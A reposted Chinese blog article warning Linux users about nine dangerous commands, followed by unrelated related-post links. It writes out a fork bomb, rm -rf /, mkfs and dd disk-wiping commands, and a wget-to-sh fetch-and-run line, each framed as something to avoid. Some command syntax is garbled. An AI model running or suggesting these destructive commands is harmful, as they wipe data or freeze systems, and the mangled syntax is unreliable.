Linux shell/terminal 命令非常强大即使一个简单的命令就可能导致文件夹、文件或者路径文件夹等被删除。

在一些情况下Linux 甚至不会询问你而直接执行命令导致你丢失各种数据信息。

一般来说在 Web 上推荐新的 Linux 用户执行这些命令当然也有人哪些写过这代码的人不这么想因为这玩意你一写下去就不是玩笑了。

这里我收集了一些对系统有危害的 Linux 代码帮助你避免他们。请记住这些代码非常危险甚至可以经过修改变得更加有危害性。

还有一些事情需要注意一些命令只在 Ubuntu 中有 sudo 前缀时是有危害的。其他发行版本的 Linux则是在作为根目录命令时会有危害。

1. Linux Fork Bomb Command

:(){ :: & };: 以 Fork Bomb 闻名是一个拒绝服务攻击的 Linux 系统。:(){ :: & };: 是一个 bash 函数。只要被执行他会不断重复直到系统被冻结。

你只能重启系统解决这个问题。所以当你在 Linux 界面执行这个命令时一定要注意。

2. Mv Folder/Dev/Null Command

mv folder/dev/null 也是一个危险的命令。Dev/null 或者 null device 是一个删除所有写在这个设备文件上数据的设备文件但是该操作提示却是写入操作执行成功。这就是我们常说的 bit bucked 或者 black hole。

3. Rm -Rf Command

rm -rf命令在 Linux 系统中可以快速删除文件夹及其内容。如果你不知道如何正确使用它你就只有哭了。

列下m-rf 命令最常见的组合和选择

  • rm command 删除 Linux 系统的文件
  • rm -f command不需提示删除文件中的只读文件
  • rm -r command 循环删除文件夹的内容
  • rm -d command 删除空目录如果非空目录则不会执行该操作
  • rm -rf/ command强制删除根目录中的所有内容和子文件夹包括写保护文件命令。
  • rm -rf* command 强制删除当前目录中的所有内容当前工作目录和字文件夹
  • rm -rf. command强制删除当前文件夹目录/子目录中的所有内容 。同 rm -r.1*
  • The rm -r.1* command 删除文件及文件夹带有删除提示

4. Mkfs Command

如果你不知 mkfs 的作用那么它也是一个危险的命令mkfs 之后写的任何命令都将会被一个空白的 linux 文件系统格式化、替代。

下面列举出需要管理员权限格式化硬盘的命令

  • mkfs
  • mkfs.ext3
  • mkfs.bfs
  • mkfs.ext2
  • mkfs.minix
  • mkfs.msdos mkfs.reiserfs
  • mkfs.vfat
  • mkfs.cramfs 也可以和上面的代码做同样的事情不过不需要管理源权限。

5. Tar Bomb

tar 命令用于将多个文件以 .tar 格式放入一个文件中存档文件。Tape Archive (Tar) bomb 可以由他创建。

当为压缩时就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。

当收到 tar 文件定期创建一个新的保护目录然后在解压前将接受的 tar 文件放到这个目录中你可以避免成为 tar bomb 的受害者。

6. Dd Command

Dd命令用于复制&改变硬盘分区。如果你用错地方了那么也很危险。

下面列举 dd 命令

  • dd if=/dev/hda of=/dev/hdb
  • dd if=/dev/hda of=/dev/sdb
  • dd if=something of=/dev/hda
  • dd if=something of=/dev/sda

下面这个命令会将整个主硬盘清零dd if=/dev/zero of=/dev/had

7. Shell Script Code

有时候你可能会被人坑给你一个 shell 脚本文件让你去下载并执行它。该脚本可能会包含一些恶意的或危险的代码。命令形式可能会是这样wget http://some_malicious_source -O- sh。 wget 将会在 sh 狭隘脚本时下载脚本。

8. Malicious Source Code

也许有人会给你源代码让你编译他。代码可能是正常代码不过有一些恶意代码伪装在大型源代码中如果是这样你的系统就中枪了。如何避免仅接受并编译可信赖来源的源代码。

9. Decompression Bomb

你已经收到一个压缩文件你被要求提取这个看起来很小的文件可能小到 KB。事实上该小尺寸的压缩文件包含高度压缩数据。

只要文件解压上百 GB 数据会被提取这时候过大的数据填满硬盘导致宕机几率就很大了。如何避免还是那句老话别手贱什么文件都去接收请接收可信任来源文件。

文章转载自 开源中国社区 [http://www.oschina.net]


  1. . ↩

9 个使用前必须再三小心的 Linux 命令相关推荐

  1. 为什么要在linux命令前加上 ./

    为什么要在linux命令前加上 ./ ? 简述 执行unix或linux中除了path系统变量外的目录下的命令都要加./. 修改用户的 .bash_profile,在 PATH一行最后加上 " ...

  2. linux命令行下命令参数前的一横(-)和两横(--)的区别

    linux命令行下命令参数前的一横(-)和两横(--)的区别 原文转自:http://blog.csdn.net/songjinshi/article/details/6816776 在解释这些区别之 ...

  3. oracle exp consistent,exp CONSISTENT=Y 原理:export前发出SET TRANSACTION READ ONLY命令

    今天才知道, exp CONSISTENT=Y 之所以能保持数据一致性,原来是在export前发出SET TRANSACTION READ ONLY命令,用来保持数据在同一个时间点. metalink ...

  4. Linux 命令 find / -ctime +1 真的是查找1天前创建的文件咩?

    链接: http://blog.itpub.net/28602568/viewspace-1404761/ 标题: Linux 命令 find / -ctime +1 真的是查找1天前创建的文件咩? ...

  5. linux执行多个命令_您必须知道的前50多个Linux命令

    linux执行多个命令 Using Linux command on a regular basis? Today we'll look at 50+ Linux commands you must ...

  6. O2OA二次开发(一)前后端源码打包部署命令

    O2OA二次开发(一)前后端源码打包部署命令 o2oa源代码全部build一次要花费很长时间,有时候我们只是修改了前端代码或者只是修改了后端代码,没必要进行全部重新编译打包. 全部打包命令 执行以下命 ...

  7. 若依前后端分离框架部署Linux服务器

    若依前后端分离框架部署Linux服务器 第一次使用若依框架进行部署Linux服务器,出现了很多的问题,也可能是自身对若依框架的不太熟悉导致接下来说一下我的部署 第一步:首先我们把我们的前端打包,如果不 ...

  8. linux怎么将卸载的恢复,linux中不小心将rpm命令卸载了,怎么恢复?

    今天在搭建mysql的集群服务时,安装mysql集群服务前,先卸载原来mysql的软件包,不小心将rpm的命令也给卸载掉了,这下惨了,什么也做不了了.在google了翻了好多个页面,甚至官网也看了,没 ...

  9. Linux命令行参数前加--,-和不加杠

    参数前"-"的表明后面的参数是字符形式. 参数前"--"的则表明后面的参数是单词形式. 参数前有横的是System V风格. 参数前没有横的是BSD风格.  转 ...

最新文章

  1. java加密解密代码_base64位加密解密原理及js代码实现
  2. java 获取系统当前时间
  3. Python中sorted函数的用法
  4. 十个jQuery的幻灯片图片轮播切换插件[转]
  5. 【整理】强化学习与MDP
  6. 十八、PHP框架Laravel学习笔记——模型的增删改
  7. Android ——SoundPool播放音频
  8. 利用virt-manager,xmanager, xshell启动界面来管理虚拟机
  9. 等式变换java解法
  10. CSS基础——CSS样式的引入和规则【学习笔记】
  11. 高仿城通网盘php,PHP代码提取城通网盘直链跳过广告下载
  12. 快手短视频广告投放是怎么收费的 快手信息流广告收费标准
  13. Android开发基础之控件ImageView及第三方库Glide的使用
  14. 【裸眼3D】 图形图像空洞填充
  15. Vue - 搜索关键字标红高亮(用户输入关键词搜索后,在搜索结果的列表标题上匹配并标红加粗)怎么使内容文本标红高亮的最详细教程,Nuxt.js uni-app 也适用,搜索功能及搜索结果关键字高亮源码
  16. JS 获取某一年有多少周
  17. 区间调度问题(最大利润作业调度问题)
  18. 入学吉他选购,有哪些适合初学者入门的吉他品牌推荐?
  19. 【01】什么是概率图模型?
  20. Oracle:ORA-00054 资源正忙

热门文章

  1. 如何了解自己的认知偏差_了解吸引力偏差
  2. 推荐2022前端必看的新书 《Vue.js设计与实现》
  3. Git 内部原理图解——对象、分支以及如何从零开始建仓库
  4. 能在任意一种框架中复用的组件,太牛了!
  5. 2015年IT领域里Docker和其它颠覆性的趋势
  6. 关于HibernateDaoSupport中的getHibernateTemplate().execute及executeFind方法
  7. Linux console on LCD
  8. 操作数据库(对战小游戏)
  9. 转HTML+CSS总结/深入理解CSS盒子模型
  10. 企业流程管理平台V2.0介绍